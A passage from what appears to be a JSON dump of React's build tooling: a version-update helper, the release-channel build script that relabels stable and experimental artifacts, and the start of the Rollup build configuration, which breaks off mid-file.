writeFileSync(sourceReactVersionPath, sourceReactVersion);\n\n  // Update the root package.json.\n  // This is required to pass a later version check script.\n  {\n    const packageJSONPath = join(cwd, 'package.json');\n    const packageJSON = await readJson(packageJSONPath);\n    packageJSON.version = version;\n    await writeJson(packageJSONPath, packageJSON, {spaces: 2});\n  }\n\n  for (let i = 0; i < packages.length; i++) {\n    const packageName = packages[i];\n    const packagePath = join(packagesDir, packageName);\n\n    // Update version numbers in package JSONs\n    const packageJSONPath = join(packagePath, 'package.json');\n    const packageJSON = await readJson(packageJSONPath);\n    packageJSON.version = version;\n\n    // Also update inter-package dependencies.\n    // Next releases always have exact version matches.\n    // The promote script may later relax these (e.g. \"^x.x.x\") based on source package JSONs.\n    const {dependencies, peerDependencies} = packageJSON;\n    for (let j = 0; j < packages.length; j++) {\n      const dependencyName = packages[j];\n      if (dependencies && dependencies[dependencyName]) {\n        dependencies[dependencyName] = version;\n      }\n      if (peerDependencies && peerDependencies[dependencyName]) {\n        peerDependencies[dependencyName] = version;\n      }\n    }\n\n    await writeJson(packageJSONPath, packageJSON, {spaces: 2});\n  }\n};\n\nmodule.exports = {\n  addDefaultParamValue,\n  confirm,\n  execRead,\n  getBuildInfo,\n  getChecksumForCurrentRevision,\n  getCommitFromCurrentBuild,\n  getDateStringForCommit,\n  getPublicPackages,\n  handleError,\n  logPromise,\n  printDiff,\n  splitCommaParams,\n  theme,\n  updateVersionsForNext,\n};\n"
  },
  {
    "path": "scripts/rollup/build-all-release-channels.js",
    "content": "'use strict';\n\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\nconst fs = require('fs');\nconst fse = require('fs-extra');\nconst {spawnSync} = require('child_process');\nconst path = require('path');\nconst tmp = require('tmp');\nconst shell = require('shelljs');\nconst {\n  ReactVersion,\n  stablePackages,\n  experimentalPackages,\n  canaryChannelLabel,\n  rcNumber,\n} = require('../../ReactVersions');\nconst yargs = require('yargs');\nconst Bundles = require('./bundles');\n\n// Runs the build script for both stable and experimental release channels,\n// by configuring an environment variable.\n\nconst sha = String(spawnSync('git', ['rev-parse', 'HEAD']).stdout).slice(0, 8);\n\nlet dateString = String(\n  spawnSync('git', [\n    'show',\n    '-s',\n    '--no-show-signature',\n    '--format=%cd',\n    '--date=format:%Y%m%d',\n    sha,\n  ]).stdout\n).trim();\n\n// On CI environment, this string is wrapped with quotes '...'s\nif (dateString.startsWith(\"'\")) {\n  dateString = dateString.slice(1, 9);\n}\n\n// Build the artifacts using a placeholder React version. We'll then do a string\n// replace to swap it with the correct version per release channel.\n//\n// The placeholder version is the same format that the \"next\" channel uses\nconst PLACEHOLDER_REACT_VERSION =\n  ReactVersion + '-' + canaryChannelLabel + '-' + sha + '-' + dateString;\n\n// TODO: We should inject the React version using a build-time parameter\n// instead of overwriting the source files.\nfs.writeFileSync(\n  './packages/shared/ReactVersion.js',\n  `export default '${PLACEHOLDER_REACT_VERSION}';\\n`\n);\n\nconst argv = yargs.wrap(yargs.terminalWidth()).options({\n  releaseChannel: {\n    alias: 'r',\n    describe: 'Build the given release channel.',\n    requiresArg: true,\n    type: 'string',\n    choices: ['experimental', 'stable'],\n  },\n  index: {\n    alias: 'i',\n    describe: 'Worker id.',\n    requiresArg: true,\n    type: 'number',\n  },\n  total: {\n    alias: 't',\n    describe: 'Total number of workers.',\n    requiresArg: true,\n    type: 'number',\n  },\n  ci: {\n    describe: 'Run tests in CI',\n    requiresArg: false,\n    type: 'boolean',\n    default: false,\n  },\n  type: {\n    describe: `Build the given bundle type. (${Object.values(\n      Bundles.bundleTypes\n    )})`,\n    requiresArg: false,\n    type: 'string',\n  },\n  pretty: {\n    describe: 'Force pretty output.',\n    requiresArg: false,\n    type: 'boolean',\n  },\n  'sync-fbsource': {\n    describe: 'Include to sync build to fbsource.',\n    requiresArg: false,\n    type: 'string',\n  },\n  'sync-www': {\n    describe: 'Include to sync build to www.',\n    requiresArg: false,\n    type: 'string',\n  },\n  'unsafe-partial': {\n    describe: 'Do not clean ./build first.',\n    requiresArg: false,\n    type: 'boolean',\n  },\n}).argv;\n\nasync function main() {\n  if (argv.ci === true) {\n    buildForChannel(argv.releaseChannel, argv.total, argv.index);\n    switch (argv.releaseChannel) {\n      case 'stable': {\n        processStable('./build');\n        break;\n      }\n      case 'experimental': {\n        processExperimental('./build');\n        break;\n      }\n      default:\n        throw new Error(`Unknown release channel ${argv.releaseChannel}`);\n    }\n  } else {\n    const releaseChannel = argv.releaseChannel;\n    if (releaseChannel === 'stable') {\n      buildForChannel('stable', '', '');\n      processStable('./build');\n    } else if (releaseChannel === 'experimental') {\n      buildForChannel('experimental', '', '');\n      processExperimental('./build');\n    } else {\n      // Running locally, no concurrency. Move each channel's build artifacts into\n      // a temporary directory so that they don't conflict.\n      buildForChannel('stable', '', '');\n      const stableDir = tmp.dirSync().name;\n      crossDeviceRenameSync('./build', stableDir);\n      processStable(stableDir);\n      buildForChannel('experimental', '', '');\n      const experimentalDir = tmp.dirSync().name;\n      crossDeviceRenameSync('./build', experimentalDir);\n      processExperimental(experimentalDir);\n\n      // Then merge the experimental folder into the stable one. processExperimental\n      // will have already removed conflicting files.\n      //\n      // In CI, merging is handled by the GitHub Download Artifacts plugin.\n      mergeDirsSync(experimentalDir + '/', stableDir + '/');\n\n      // Now restore the combined directory back to its original name\n      crossDeviceRenameSync(stableDir, './build');\n    }\n  }\n}\n\nfunction buildForChannel(channel, total, index) {\n  const {status} = spawnSync(\n    'node',\n    ['./scripts/rollup/build.js', ...process.argv.slice(2)],\n    {\n      stdio: ['pipe', process.stdout, process.stderr],\n      env: {\n        ...process.env,\n        RELEASE_CHANNEL: channel,\n        CI_TOTAL: total,\n        CI_INDEX: index,\n      },\n    }\n  );\n\n  if (status !== 0) {\n    // Error of spawned process is already piped to this stderr\n    process.exit(status);\n  }\n}\n\nfunction processStable(buildDir) {\n  if (fs.existsSync(buildDir + '/node_modules')) {\n    // Identical to `oss-stable` but with real, semver versions. This is what\n    // will get published to @latest.\n    shell.cp('-r', buildDir + '/node_modules', buildDir + '/oss-stable-semver');\n    if (canaryChannelLabel === 'rc') {\n      // During the RC phase, we also generate an RC build that pins to exact\n      // versions but does not include a SHA, e.g. `19.0.0-rc.0`. This is purely\n      // for signaling purposes — aside from the version, it's no different from\n      // the corresponding canary.\n      shell.cp('-r', buildDir + '/node_modules', buildDir + '/oss-stable-rc');\n    }\n\n    const defaultVersionIfNotFound = '0.0.0' + '-' + sha + '-' + dateString;\n    const versionsMap = new Map();\n    for (const moduleName in stablePackages) {\n      const version = stablePackages[moduleName];\n      versionsMap.set(\n        moduleName,\n        version + '-' + canaryChannelLabel + '-' + sha + '-' + dateString,\n        defaultVersionIfNotFound\n      );\n    }\n    updatePackageVersions(\n      buildDir + '/node_modules',\n      versionsMap,\n      defaultVersionIfNotFound,\n      true\n    );\n    fs.renameSync(buildDir + '/node_modules', buildDir + '/oss-stable');\n    updatePlaceholderReactVersionInCompiledArtifacts(\n      buildDir + '/oss-stable',\n      ReactVersion + '-' + canaryChannelLabel + '-' + sha + '-' + dateString\n    );\n\n    if (canaryChannelLabel === 'rc') {\n      const rcVersionsMap = new Map();\n      for (const moduleName in stablePackages) {\n        const version = stablePackages[moduleName];\n        rcVersionsMap.set(moduleName, version + `-rc.${rcNumber}`);\n      }\n      updatePackageVersions(\n        buildDir + '/oss-stable-rc',\n        rcVersionsMap,\n        defaultVersionIfNotFound,\n        // For RCs, we pin to exact versions, like we do for canaries.\n        true\n      );\n      updatePlaceholderReactVersionInCompiledArtifacts(\n        buildDir + '/oss-stable-rc',\n        ReactVersion\n      );\n    }\n\n    const rnVersionString =\n      ReactVersion + '-native-fb-' + sha + '-' + dateString;\n    if (fs.existsSync(buildDir + '/facebook-react-native')) {\n      updatePlaceholderReactVersionInCompiledArtifacts(\n        buildDir + '/facebook-react-native',\n        rnVersionString\n      );\n    }\n\n    if (fs.existsSync(buildDir + '/react-native')) {\n      updatePlaceholderReactVersionInCompiledArtifacts(\n        buildDir + '/react-native',\n        rnVersionString,\n        filename => filename.endsWith('.fb.js')\n      );\n\n      updatePlaceholderReactVersionInCompiledArtifacts(\n        buildDir + '/react-native',\n        ReactVersion,\n        filename => !filename.endsWith('.fb.js') && filename.endsWith('.js')\n      );\n    }\n\n    // Now do the semver ones\n    const semverVersionsMap = new Map();\n    for (const moduleName in stablePackages) {\n      const version = stablePackages[moduleName];\n      semverVersionsMap.set(moduleName, version);\n    }\n    updatePackageVersions(\n      buildDir + '/oss-stable-semver',\n      semverVersionsMap,\n      defaultVersionIfNotFound,\n      // Use ^ only for non-prerelease versions\n      false\n    );\n    updatePlaceholderReactVersionInCompiledArtifacts(\n      buildDir + '/oss-stable-semver',\n      ReactVersion\n    );\n  }\n\n  if (fs.existsSync(buildDir + '/facebook-www')) {\n    for (const fileName of fs.readdirSync(buildDir + '/facebook-www')) {\n      const filePath = buildDir + '/facebook-www/' + fileName;\n      const stats = fs.statSync(filePath);\n      if (!stats.isDirectory()) {\n        fs.renameSync(filePath, filePath.replace('.js', '.classic.js'));\n      }\n    }\n    const versionString =\n      ReactVersion + '-www-classic-' + sha + '-' + dateString;\n    updatePlaceholderReactVersionInCompiledArtifacts(\n      buildDir + '/facebook-www',\n      versionString\n    );\n    // Also save a file with the version number\n    fs.writeFileSync(buildDir + '/facebook-www/VERSION_CLASSIC', versionString);\n  }\n\n  if (fs.existsSync(buildDir + '/sizes')) {\n    fs.renameSync(buildDir + '/sizes', buildDir + '/sizes-stable');\n  }\n}\n\nfunction processExperimental(buildDir, version) {\n  if (fs.existsSync(buildDir + '/node_modules')) {\n    const defaultVersionIfNotFound =\n      '0.0.0' + '-experimental-' + sha + '-' + dateString;\n    const versionsMap = new Map();\n    for (const moduleName in stablePackages) {\n      versionsMap.set(moduleName, defaultVersionIfNotFound);\n    }\n    for (const moduleName of experimentalPackages) {\n      versionsMap.set(moduleName, defaultVersionIfNotFound);\n    }\n    updatePackageVersions(\n      buildDir + '/node_modules',\n      versionsMap,\n      defaultVersionIfNotFound,\n      true\n    );\n    fs.renameSync(buildDir + '/node_modules', buildDir + '/oss-experimental');\n    updatePlaceholderReactVersionInCompiledArtifacts(\n      buildDir + '/oss-experimental',\n      // TODO: The npm version for experimental releases does not include the\n      // React version, but the runtime version does so that DevTools can do\n      // feature detection. Decide what to do about this later.\n      ReactVersion + '-experimental-' + sha + '-' + dateString\n    );\n  }\n\n  if (fs.existsSync(buildDir + '/facebook-www')) {\n    for (const fileName of fs.readdirSync(buildDir + '/facebook-www')) {\n      const filePath = buildDir + '/facebook-www/' + fileName;\n      const stats = fs.statSync(filePath);\n      if (!stats.isDirectory()) {\n        fs.renameSync(filePath, filePath.replace('.js', '.modern.js'));\n      }\n    }\n    const versionString =\n      ReactVersion + '-www-modern-' + sha + '-' + dateString;\n    updatePlaceholderReactVersionInCompiledArtifacts(\n      buildDir + '/facebook-www',\n      versionString\n    );\n\n    // Also save a file with the version number\n    fs.writeFileSync(buildDir + '/facebook-www/VERSION_MODERN', versionString);\n  }\n\n  const rnVersionString = ReactVersion + '-native-fb-' + sha + '-' + dateString;\n  if (fs.existsSync(buildDir + '/facebook-react-native')) {\n    updatePlaceholderReactVersionInCompiledArtifacts(\n      buildDir + '/facebook-react-native',\n      rnVersionString\n    );\n\n    // Also save a file with the version number\n    fs.writeFileSync(\n      buildDir + '/facebook-react-native/VERSION_NATIVE_FB',\n      rnVersionString\n    );\n  }\n\n  if (fs.existsSync(buildDir + '/react-native')) {\n    updatePlaceholderReactVersionInCompiledArtifacts(\n      buildDir + '/react-native',\n      rnVersionString,\n      filename => filename.endsWith('.fb.js')\n    );\n\n    updatePlaceholderReactVersionInCompiledArtifacts(\n      buildDir + '/react-native',\n      ReactVersion,\n      filename => !filename.endsWith('.fb.js') && filename.endsWith('.js')\n    );\n  }\n\n  if (fs.existsSync(buildDir + '/sizes')) {\n    fs.renameSync(buildDir + '/sizes', buildDir + '/sizes-experimental');\n  }\n\n  // Delete all other artifacts that weren't handled above. We assume they are\n  // duplicates of the corresponding artifacts in the stable channel. Ideally,\n  // the underlying build script should not have produced these files in the\n  // first place.\n  for (const pathName of fs.readdirSync(buildDir)) {\n    if (\n      pathName !== 'oss-experimental' &&\n      pathName !== 'facebook-www' &&\n      pathName !== 'sizes-experimental'\n    ) {\n      spawnSync('rm', ['-rm', buildDir + '/' + pathName]);\n    }\n  }\n}\n\nfunction crossDeviceRenameSync(source, destination) {\n  return fse.moveSync(source, destination, {overwrite: true});\n}\n\n/*\n * Grabs the built packages in ${tmp_build_dir}/node_modules and updates the\n * `version` key in their package.json to 0.0.0-${date}-${commitHash} for the commit\n * you're building. Also updates the dependencies and peerDependencies\n * to match this version for all of the 'React' packages\n * (packages available in this repo).\n */\nfunction updatePackageVersions(\n  modulesDir,\n  versionsMap,\n  defaultVersionIfNotFound,\n  pinToExactVersion\n) {\n  for (const moduleName of fs.readdirSync(modulesDir)) {\n    let version = versionsMap.get(moduleName);\n    if (version === undefined) {\n      // TODO: If the module is not in the version map, we should exclude it\n      // from the build artifacts.\n      version = defaultVersionIfNotFound;\n    }\n    const packageJSONPath = path.join(modulesDir, moduleName, 'package.json');\n    const stats = fs.statSync(packageJSONPath);\n    if (stats.isFile()) {\n      const packageInfo = JSON.parse(fs.readFileSync(packageJSONPath));\n\n      // Update version\n      packageInfo.version = version;\n\n      if (packageInfo.dependencies) {\n        for (const dep of Object.keys(packageInfo.dependencies)) {\n          const depVersion = versionsMap.get(dep);\n          if (depVersion !== undefined) {\n            packageInfo.dependencies[dep] = pinToExactVersion\n              ? depVersion\n              : '^' + depVersion;\n          }\n        }\n      }\n      if (packageInfo.peerDependencies) {\n        if (\n          !pinToExactVersion &&\n          (moduleName === 'use-sync-external-store' ||\n            moduleName === 'use-subscription')\n        ) {\n          // use-sync-external-store supports older versions of React, too, so\n          // we don't override to the latest version. We should figure out some\n          // better way to handle this.\n          // TODO: Remove this special case.\n        } else {\n          for (const dep of Object.keys(packageInfo.peerDependencies)) {\n            const depVersion = versionsMap.get(dep);\n            if (depVersion !== undefined) {\n              packageInfo.peerDependencies[dep] = pinToExactVersion\n                ? depVersion\n                : '^' + depVersion;\n            }\n          }\n        }\n      }\n\n      // Write out updated package.json\n      fs.writeFileSync(packageJSONPath, JSON.stringify(packageInfo, null, 2));\n    }\n  }\n}\n\nfunction updatePlaceholderReactVersionInCompiledArtifacts(\n  artifactsDirectory,\n  newVersion,\n  filteringClosure\n) {\n  // Update the version of React in the compiled artifacts by searching for\n  // the placeholder string and replacing it with a new one.\n  if (filteringClosure == null) {\n    filteringClosure = filename => filename.endsWith('.js');\n  }\n\n  const artifactFilenames = String(\n    spawnSync('grep', [\n      '-lr',\n      PLACEHOLDER_REACT_VERSION,\n      '--',\n      artifactsDirectory,\n    ]).stdout\n  )\n    .trim()\n    .split('\\n')\n    .filter(filteringClosure);\n\n  for (const artifactFilename of artifactFilenames) {\n    const originalText = fs.readFileSync(artifactFilename, 'utf8');\n    const replacedText = originalText.replaceAll(\n      PLACEHOLDER_REACT_VERSION,\n      newVersion\n    );\n    fs.writeFileSync(artifactFilename, replacedText);\n  }\n}\n\n/**\n * cross-platform alternative to `rsync -ar`\n * @param {string} source\n * @param {string} destination\n */\nfunction mergeDirsSync(source, destination) {\n  for (const sourceFileBaseName of fs.readdirSync(source)) {\n    const sourceFileName = path.join(source, sourceFileBaseName);\n    const targetFileName = path.join(destination, sourceFileBaseName);\n\n    const sourceFile = fs.statSync(sourceFileName);\n    if (sourceFile.isDirectory()) {\n      fse.ensureDirSync(targetFileName);\n      mergeDirsSync(sourceFileName, targetFileName);\n    } else {\n      fs.copyFileSync(sourceFileName, targetFileName);\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "scripts/rollup/build.js",
    "content": "'use strict';\n\nconst rollup = require('rollup');\nconst babel = require('@rollup/plugin-babel').babel;\nconst closure = require('./plugins/closure-plugin');\nconst flowRemoveTypes = require('flow-remove-types');\nconst {dts} = require('rollup-plugin-dts');\nconst prettier = require('rollup-plugin-prettier');\nconst replace = require('@rollup/plugin-replace');\nconst typescript = require('@rollup/plugin-typescript');\nconst stripBanner = require('rollup-plugin-strip-banner');\nconst chalk = require('chalk');\nconst resolve = require('@rollup/plugin-node-resolve').nodeResolve;\nconst fs = require('fs');\nconst childProcess = require('child_process');\nconst argv = require('minimist')(process.argv.slice(2));\nconst Modules = require('./modules');\nconst Bundles = require('./bundles');\nconst Stats = require('./stats');\nconst Sync = require('./sync');\nconst sizes = require('./plugins/sizes-plugin');\nconst useForks = require('./plugins/use-forks-plugin');\nconst dynamicImports = require('./plugins/dynamic-imports');\nconst externalRuntime = require('./plugins/external-runtime-plugin');\nconst Packaging = require('./packaging');\nconst {asyncRimRaf} = require('./utils');\nconst codeFrame = require('@babel/code-frame').default;\nconst Wrappers = require('./wrappers');\nconst commonjs = require('@rollup/plugin-commonjs');\n\nconst RELEASE_CHANNEL = process.env.RELEASE_CHANNEL;\n\n// Default to building in experimental mode. If the release channel is set via\n// an environment variable, then check if it's \"experimental\".\nconst __EXPERIMENTAL__ =\n  typeof RELEASE_CHANNEL === 'string'\n    ? RELEASE_CHANNEL === 'experimental'\n    : true;\n\n// Errors in promises should be fatal.\nlet loggedErrors = new Set();\nprocess.on('unhandledRejection', err => {\n  if (loggedErrors.has(err)) {\n    // No need to print it twice.\n    process.exit(1);\n  }\n  throw err;\n});\n\nconst {\n  NODE_ES2015,\n  ESM_DEV,\n  ESM_PROD,\n  NODE_DEV,\n  NODE_PROD,\n  NODE_PROFILING,\n  BUN_DEV,\n  BUN_PROD,\n  FB_WWW_DEV,\n  FB_WWW_PROD,\n  FB_WWW_PROFILING,\n  RN_OSS_DEV,\n  RN_OSS_PROD,\n  RN_OSS_PROFILING,\n  RN_FB_DEV,\n  RN_FB_PROD,\n  RN_FB_PROFILING,\n  BROWSER_SCRIPT,\n  CJS_DTS,\n  ESM_DTS,\n} = Bundles.bundleTypes;\n\nconst {getFilename} = Bundles;\n\nfunction parseRequestedNames(names, toCase) {\n  let result = [];\n  for (let i = 0; i < names.length; i++) {\n    let splitNames = names[i].split(',');\n    for (let j = 0; j < splitNames.length; j++) {\n      let name = splitNames[j].trim();\n      if (!name) {\n        continue;\n      }\n      if (toCase === 'uppercase') {\n        name = name.toUpperCase();\n      } else if (toCase === 'lowercase') {\n        name = name.toLowerCase();\n      }\n      result.push(name);\n    }\n  }\n  return result;\n}\nconst argvType = Array.isArray(argv.type) ? argv.type : [argv.type];\nconst requestedBundleTypes = parseRequestedNames(\n  argv.type ? argvType : [],\n  'uppercase'\n);\n\nconst names = argv._;\nconst requestedBundleNames = parseRequestedNames(\n  names ? names : [],\n  'lowercase'\n);\nconst forcePrettyOutput = argv.pretty;\nconst isWatchMode = argv.watch;\nconst syncFBSourcePath = argv['sync-fbsource'];\nconst syncWWWPath = argv['sync-www'];\n\n// Non-ES2015 stuff applied before closure compiler.\nconst babelPlugins = [\n  // These plugins filter out non-ES2015.\n  ['@babel/plugin-proposal-class-properties', {loose: true}],\n  'syntax-trailing-function-commas',\n  // These use loose mode which avoids embedding a runtime.\n  // TODO: Remove object spread from the source. Prefer Object.assign instead.\n  [\n    '@babel/plugin-proposal-object-rest-spread',\n    {loose: true, useBuiltIns: true},\n  ],\n  ['@babel/plugin-transform-template-literals', {loose: true}],\n  // TODO: Remove for...of from the source. It requires a runtime to be embedded.\n  '@babel/plugin-transform-for-of',\n  // TODO: Remove array spread from the source. Prefer .apply instead.\n  ['@babel/plugin-transform-spread', {loose: true, useBuiltIns: true}],\n  '@babel/plugin-transform-parameters',\n  // TODO: Remove array destructuring from the source. Requires runtime.\n  ['@babel/plugin-transform-destructuring', {loose: true, useBuiltIns: true}],\n  // Transform Object spread to shared/assign\n  require('../babel/transform-object-assign'),\n];\n\nconst babelToES5Plugins = [\n  // These plugins transform DEV mode. Closure compiler deals with these in PROD.\n  '@babel/plugin-transform-literals',\n  '@babel/plugin-transform-arrow-functions',\n  '@babel/plugin-transform-block-scoped-functions',\n  '@babel/plugin-transform-shorthand-properties',\n  '@babel/plugin-transform-computed-properties',\n  ['@babel/plugin-transform-block-scoping', {throwIfClosureRequired: true}],\n];\n\nfunction getBabelConfig(\n  updateBabelOptions,\n  bundleType,\n  packageName,\n  isDevelopment,\n  bundle\n) {\n  let options = {\n    exclude: '/**/node_modules/**',\n    babelrc: false,\n    configFile: false,\n    presets: [],\n    plugins: [...babelPlugins],\n    babelHelpers: 'bundled',\n    sourcemap: false,\n  };\n  if (isDevelopment) {\n    options.plugins.push(...babelToES5Plugins);\n  }\n  if (updateBabelOptions) {\n    options = updateBabelOptions(options);\n  }\n  // Controls whether to replace error messages with error codes in production.\n  // By default, error messages are replaced in production.\n  if (!isDevelopment && bundle.minifyWithProdErrorCodes !== false) {\n    options.plugins.push(require('../error-codes/transform-error-messages'));\n  }\n\n  return options;\n}\n\nlet getRollupInteropValue = id => {\n  // We're setting Rollup to assume that imports are ES modules unless otherwise specified.\n  // However, we also compile ES import syntax to `require()` using Babel.\n  // This causes Rollup to turn uses of `import SomeDefaultImport from 'some-module' into\n  // references to `SomeDefaultImport.default` due to CJS/ESM interop.\n  // Some CJS modules don't have a `.default` export, and the rewritten import is incorrect.\n  // Specifying `interop: 'default'` instead will have Rollup use the imported variable as-is,\n  // without adding a `.default` to the reference.\n  const modulesWithCommonJsExports = [\n    'art/core/transform',\n    'art/modes/current',\n    'art/modes/fast-noSideEffects',\n    'art/modes/svg',\n    'JSResourceReferenceImpl',\n    'error-stack-parser',\n    'neo-async',\n    'webpack/lib/dependencies/ModuleDependency',\n    'webpack/lib/dependencies/NullDependency',\n    'webpack/lib/Template',\n  ];\n\n  if (modulesWithCommonJsExports.includes(id)) {\n    return 'default';\n  }\n\n  // For all other modules, handle imports without any import helper utils\n  return 'esModule';\n};\n\nfunction getRollupOutputOptions(\n  outputPath,\n  format,\n  globals,\n  globalName,\n  bundleType\n) {\n  const isProduction = isProductionBundleType(bundleType);\n\n  return {\n    file: outputPath,\n    format,\n    globals,\n    freeze: !isProduction,\n    interop: getRollupInteropValue,\n    name: globalName,\n    sourcemap: false,\n    esModule: false,\n    exports: 'auto',\n  };\n}\n\nfunction getFormat(bundleType) {\n  switch (bundleType) {\n    case NODE_ES2015:\n    case NODE_DEV:\n    case NODE_PROD:\n    case NODE_PROFILING:\n    case BUN_DEV:\n    case BUN_PROD:\n    case FB_WWW_DEV:\n    case FB_WWW_PROD:\n    case FB_WWW_PROFILING:\n    case RN_OSS_DEV:\n    case RN_OSS_PROD:\n    case RN_OSS_PROFILING:\n    case RN_FB_DEV:\n    case RN_FB_PROD:\n    case RN_FB_PROFILING:\n    case CJS_DTS:\n      return `cjs`;\n    case ESM_DEV:\n    case ESM_PROD:\n    case ESM_DTS:\n      return `es`;\n    case BROWSER_SCRIPT:\n      return `iife`;\n  }\n}\n\nfunction isProductionBundleType(bundleType) {\n  switch (bundleType) {\n    case NODE_ES2015:\n      return true;\n    case ESM_DEV:\n    case NODE_DEV:\n    case BUN_DEV:\n    case FB_WWW_DEV:\n    case RN_OSS_DEV:\n    case RN_FB_DEV:\n      return false;\n    case ESM_PROD:\n    case NODE_PROD:\n    case BUN_PROD:\n    case NODE_PROFILING:\n    case FB_WWW_PROD:\n    case FB_WWW_PROFILING:\n    case RN_OSS_PROD:\n    case RN_OSS_PROFILING:\n    case RN_FB_PROD:\n    case RN_FB_PROFILING:\n    case BROWSER_SCRIPT:\n    case CJS_DTS:\n    case ESM_DTS:\n      return true;\n    default:\n      throw new Error(`Unknown type: ${bundleType}`);\n  }\n}\n\nfunction isProfilingBundleType(bundleType) {\n  switch (bundleType) {\n    case NODE_ES2015:\n    case FB_WWW_DEV:\n    case FB_WWW_PROD:\n    case NODE_DEV:\n    case NODE_PROD:\n    case BUN_DEV:\n    case BUN_PROD:\n    case RN_FB_DEV:\n    case RN_FB_PROD:\n    case RN_OSS_DEV:\n    case RN_OSS_PROD:\n    case ESM_DEV:\n    case ESM_PROD:\n    case BROWSER_SCRIPT:\n    case CJS_DTS:\n    case ESM_DTS:\n      return false;\n    case FB_WWW_PROFILING:\n    case NODE_PROFILING:\n    case RN_FB_PROFILING:\n    case RN_OSS_PROFILING:\n      return true;\n    default:\n      throw new Error(`Unknown type: ${bundleType}`);\n  }\n}\n\nfunction getBundleTypeFlags(bundleType) {\n  const isFBWWWBundle =\n    bundleType === FB_WWW_DEV ||\n    bundleType === FB_WWW_PROD ||\n    bundleType === FB_WWW_PROFILING;\n  const isRNBundle =\n    bundleType === RN_OSS_DEV ||\n    bundleType === RN_OSS_PROD ||\n    bundleType === RN_OSS_PROFILING ||\n    bundleType === RN_FB_DEV ||\n    bundleType === RN_FB_PROD ||\n    bundleType === RN_FB_PROFILING;\n\n  const isFBRNBundle =\n    bundleType === RN_FB_DEV ||\n    bundleType === RN_FB_PROD ||\n    bundleType === RN_FB_PROFILING;\n\n  const shouldStayReadable = isFBWWWBundle || isRNBundle || forcePrettyOutput;\n\n  return {\n    isFBWWWBundle,\n    isRNBundle,\n    isFBRNBundle,\n    shouldStayReadable,\n  };\n}\n\nfunction forbidFBJSImports() {\n  return {\n    name: 'forbidFBJSImports',\n    resolveId(importee, importer) {\n      if (/^fbjs\\//.test(importee)) {\n        throw new Error(\n          `Don't import ${importee} (found in ${importer}). ` +\n            `Use the utilities in packages/shared/ instead.`\n        );\n      }\n    },\n  };\n}\n\nfunction getPlugins(\n  entry,\n  updateBabelOptions,\n  filename,\n  packageName,\n  bundleType,\n  globalName,\n  moduleType,\n  pureExternalModules,\n  bundle\n) {\n  // Short-circuit if we're only building a .d.ts bundle\n  if (bundleType === CJS_DTS || bundleType === ESM_DTS) {\n    return [dts({tsconfig: bundle.tsconfig})];\n  }\n  try {\n    const forks = Modules.getForks(bundleType, entry, moduleType, bundle);\n    const isProduction = isProductionBundleType(bundleType);\n    const isProfiling = isProfilingBundleType(bundleType);\n\n    const needsMinifiedByClosure =\n      bundleType !== ESM_PROD &&\n      bundleType !== ESM_DEV &&\n      // TODO(@poteto) figure out ICE in closure compiler for eslint-plugin-react-hooks (ts)\n      bundle.tsconfig == null;\n\n    return [\n      // Keep dynamic imports as externals\n      dynamicImports(),\n      bundle.tsconfig != null ? typescript({tsconfig: bundle.tsconfig}) : false,\n      {\n        name: 'rollup-plugin-flow-remove-types',\n        transform(code, id) {\n          if (bundle.tsconfig != null && !id.endsWith('.js')) {\n            return null;\n          }\n          const transformed = flowRemoveTypes(code);\n          return {\n            code: transformed.toString(),\n            map: null,\n          };\n        },\n      },\n      // See https://github.com/rollup/plugins/issues/1425\n      bundle.tsconfig != null ? commonjs({strictRequires: true}) : false,\n      // Shim any modules that need forking in this environment.\n      useForks(forks),\n      // Ensure we don't try to bundle any fbjs modules.\n      forbidFBJSImports(),\n      // Use Node resolution mechanism.\n      resolve({\n        // `external` rollup config takes care of marking builtins as externals\n        preferBuiltins: false,\n      }),\n      // Remove license headers from individual modules\n      stripBanner({\n        exclude: 'node_modules/**/*',\n      }),\n      // Compile to ES2015.\n      babel(\n        getBabelConfig(\n          updateBabelOptions,\n          bundleType,\n          packageName,\n          !isProduction,\n          bundle\n        )\n      ),\n      // Remove 'use strict' from individual source files. We skip eslint-plugin-react-hooks because\n      // it bundles compiler-type code that may examine \"use strict\" used outside of a directive\n      // context, e.g. as a StringLiteral.\n      bundle.name !== 'eslint-plugin-react-hooks'\n        ? {\n            name: \"remove 'use strict'\",\n            transform(source) {\n              return source.replace(/['\"]use strict[\"']/g, '');\n            },\n          }\n        : false,\n      // Turn __DEV__ and process.env checks into constants.\n      replace({\n        preventAssignment: true,\n        values: {\n          __DEV__: isProduction ? 'false' : 'true',\n          __PROFILE__: isProfiling || !isProduction ? 'true' : 'false',\n          'process.env.NODE_ENV': isProduction\n            ? \"'production'\"\n            : \"'development'\",\n          __EXPERIMENTAL__,\n        },\n      }),\n      // For the external runtime we turn global identifiers into local.\n      entry.includes('server-external-runtime') && externalRuntime(),\n      {\n        name: 'top-level-definitions',\n        renderChunk(source) {\n          return Wrappers.wrapWithTopLevelDefinitions(\n            source,\n            bundleType,\n            globalName,\n            filename,\n            moduleType,\n            bundle.wrapWithModuleBoundaries\n          );\n        },\n      },\n      // For production builds, compile with Closure. We do this even for the\n      // \"non-minified\" production builds because Closure is much better at\n      // minification than what most applications use. During this step, we do\n      // preserve the original symbol names, though, so the resulting code is\n      // relatively readable.\n      //\n      // For the minified builds, the names will be mangled later.\n      //\n      // We don't bother with sourcemaps at this step. The sourcemaps we publish\n      // are only for whitespace and symbol renaming; they don't map back to\n      // before Closure was applied.\n      needsMinifiedByClosure &&\n        closure({\n          compilation_level: 'SIMPLE',\n          language_in: 'ECMASCRIPT_2020',\n          language_out:\n            bundleType === NODE_ES2015\n              ? 'ECMASCRIPT_2020'\n              : bundleType === BROWSER_SCRIPT\n                ? 'ECMASCRIPT5'\n                : 'ECMASCRIPT5_STRICT',\n          emit_use_strict:\n            bundleType !== BROWSER_SCRIPT &&\n            bundleType !== ESM_PROD &&\n            bundleType !== ESM_DEV,\n          env: 'CUSTOM',\n          warning_level: 'QUIET',\n          source_map_include_content: true,\n          use_types_for_optimization: false,\n          process_common_js_modules: false,\n          rewrite_polyfills: false,\n          inject_libraries: false,\n          allow_dynamic_import: true,\n\n          // Don't let it create global variables in the browser.\n          // https://github.com/facebook/react/issues/10909\n          assume_function_wrapper: true,\n\n          // Don't rename symbols (variable names, functions, etc). We leave\n          // this up to the application to handle, if they want. Otherwise gzip\n          // takes care of it.\n          renaming: false,\n        }),\n      needsMinifiedByClosure &&\n        // Add the whitespace back\n        prettier({\n          parser: 'flow',\n          singleQuote: 